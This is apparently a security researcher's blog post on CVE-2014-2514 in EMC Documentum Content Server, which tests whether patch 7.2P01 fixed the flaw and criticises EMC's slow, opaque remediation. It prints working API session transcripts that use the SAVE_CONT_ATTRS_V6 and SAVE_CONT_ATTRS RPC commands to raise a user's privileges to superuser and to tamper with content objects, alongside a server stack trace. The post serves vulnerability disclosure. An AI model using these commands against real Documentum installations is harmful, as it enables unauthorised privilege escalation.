Yesterday I found a time to disclosure new episodes for CVE-2014-2514 (see also Is it possible to compromise Documentum by deleting object? Part I) to BugTraq mailing list (as you already know EMC fails to communicate about vulnerabilities in Documentum), but because I have a bad habit to check everything before posting I decided to check my researches against latest version of Content Server.
Content Server 7.2 behaviour (SAVE_CONT_ATTRS_V6 RPC command is not used by DFC, so proof of concept described in Is it possible to compromise Documentum by deleting object? Part I does not cover this RPC command):
Connected to Documentum Server running Release 7.2.0000.0155 Linux64.Oracle Session id is s0 API> retrieve,c,dm_user where user_name=USER ... 11024be980000900 API> get,c,l,user_privileges ... 0 API> get,c,l,i_vstamp ... 1 API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6, OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F, i_vstamp,I,1,user_privileges,I,16 ... q0 API> ?,c,q0 RESULT ------------ 1 (1 row affected)
Content Server 7.2P01 behaviour (for some reason CS reports that it is 7.2P02 – most probably EMC experiences difficulties not only with security but also with SDLC):
Connected to Documentum Server running Release 7.2.0020.0164 Linux64.Oracle Session id is s0 API> retrieve,c,dm_user where user_name=USER ... 11024be980000900 API> get,c,l,user_privileges ... 0 API> get,c,l,i_vstamp ... 3 API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6, OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F, i_vstamp,I,3,user_privileges,I,16 ... [DM_SESSION_E_RPC_ERROR]error: "Server communication failure" java.io.IOException: Unexpected end-of-stream
Corresponding server log is:
#0 0x00007f4caedcd2ad in waitpid () from /lib64/libpthread.so.0 #1 0x00000000009d52bb in dmExceptionManager::WalkStack(dmException*, int, siginfo*, void*) () #2 0x00000000009d5678 in dmExceptionHandlerProc () #3 <signal handler called> #4 0x000000000057a969 in dmContentParent::HasNecessaryPermit(int, char const*, dmBool) () #5 0x0000000000866fd1 in dmContent::CheckContentPermission(int, dmSession*, dmBool) () #6 0x0000000000879bb2 in SaveContAttrsInternal(dmContent&, dmObject*) () #7 0x000000000087a4e8 in dmSaveContAttrsV6(char*, dmID, dmObject*, dmSession*) () #8 0x0000000000545f44 in dmSession::Apply(int, dmID, dmObject*, int, dmBool) () #9 0x000000000047dfad in DoApply(dmSessionContext*, int, dmID, char*, dmBool) () #10 0x000000000048017f in ApplyInternal(dmID, int, dmID, char*, int*) () #11 0x00000000004aa371 in Apply_string(char*, int, char*, char*, int*, int*, int*, int*) () #12 0x00000000004a01b5 in iIXApply_string(void*) () #13 0x0000000000b8e862 in _nwvss_(unsigned int, dscp_t*, int, rpc_t*, int, int (*)(...), int (*)(...), int (*)(...), void*, _rpcctl*) () #14 0x000000000049eaac in S_Apply_string(int, rpc_t*, _Svrpc, dscp_t*) () #15 0x000000000049b45f in driver_Proc(int, dscp_t*) () #16 0x000000000049724a in dmNetwiseConnection::Dispatch(dmBool&) () #17 0x00000000004b1a63 in dmSessionThreadStart(dmExecutionContext*, void*) () #18 0x00000000009b5c6e in dmFork::Launch() () #19 0x00000000004b0cab in dmServerExecutionContextPool::ProcessRequests() () #20 0x00000000004b13d4 in rpc_main(char const*, dmServiceFailoverList&, dmSession*) () #21 0x0000000000483b39 in dmRPCInit(char const*, char const*, int, char const*, dmServiceFailoverList&, dmObject&) () #22 0x0000000000486bbd in dmRPCMain(int, char const**, dmBool, dmBool) () #23 0x000000000048838d in main ()
It seems that 7.2P02 got a new function dmContent::CheckContentPermission which performs extra security checks:
[dmadmin@docu72dev01 bin]$ nm documentum.patch.bak | grep CheckContentPermission [dmadmin@docu72dev01 bin]$ nm documentum | grep CheckContentPermission 0000000000866ee0 T _ZN9dmContent22CheckContentPermissionEiP9dmSession6dmBool
What is the purpose of these security checks? Here I remembered my previous post about security where EMC employees were trying to perform some weird activity and found out that some proofs of concept described in that post “does not work anymore” (here I use double quotes because by tradition nothing was fixed at all – the purpose of this blog is just to give some thoughts about Documentum, if you blindly apply everything that is written here without further research you are bloody idiot):
API> retrieve,c,dm_method where use_method_content=TRUE ... 10024be980000472 API> get,c,l,object_name ... pre_erouter2_forward API> get,c,l,i_contents_id ... 06024be980000199 API> create,c,dm_sysobject ... 08024be980006500 API> setfile,c,l,test.txt,text ... OK API> save,c,l ... OK API> get,c,l,i_contents_id ... 06024be980005d00 API> get,c,06024be980005d00,data_ticket ... -2147480126 API> get,c,06024be980005d00,content_size ... 0 API> apply,c,06024be980000199,SAVE_CONT_ATTRS, data_ticket,I,-2147480126,content_size,I,0, full_content_size,I,0,OBJECT_TYPE,S,dmr_content, IS_NEW_OBJECT,B,F ... q0 API> ?,c,q0 result ------------ 0 (1 row affected) [DM_SYSOBJECT_E_CANT_WRITE_CONTENT]error: "Cannot access content '06024be980000199'. No write permission for current user"
So, how long does it take to remediate security flaw?
- CERT/CC assumes that 45 days is enough to remediate vulnerability
- ZDI has 4-month deadline
- EMC preference is extremely weird:
- on the one hand, there was a statement about 180-365 days on Momentum 2014:
- on the other hand, some severe vulnerabilities (these vulnerabilities do not require network access to Content Server) remain unfixed for already 18 months
- on the third hand, vulnerabilities described in New set of Documentum vulnerabilities were “remediated” (note double qoutes) within 19 days, but instead of publishing clear information EMC announced POODLE-related bullshit. Interesting thing here is that EMC broke their SDLC policy: previously EMC support assured me that if I want to get some fix within official patchset (not hotfix) this procedure usually takes about two months – at the middle of the first month EMC performs feature freeze, after a month they perform code freeze and at the end of a second month EMC releases patchset. It seems that somebody decided to earn some extra KPI points for doing nothing.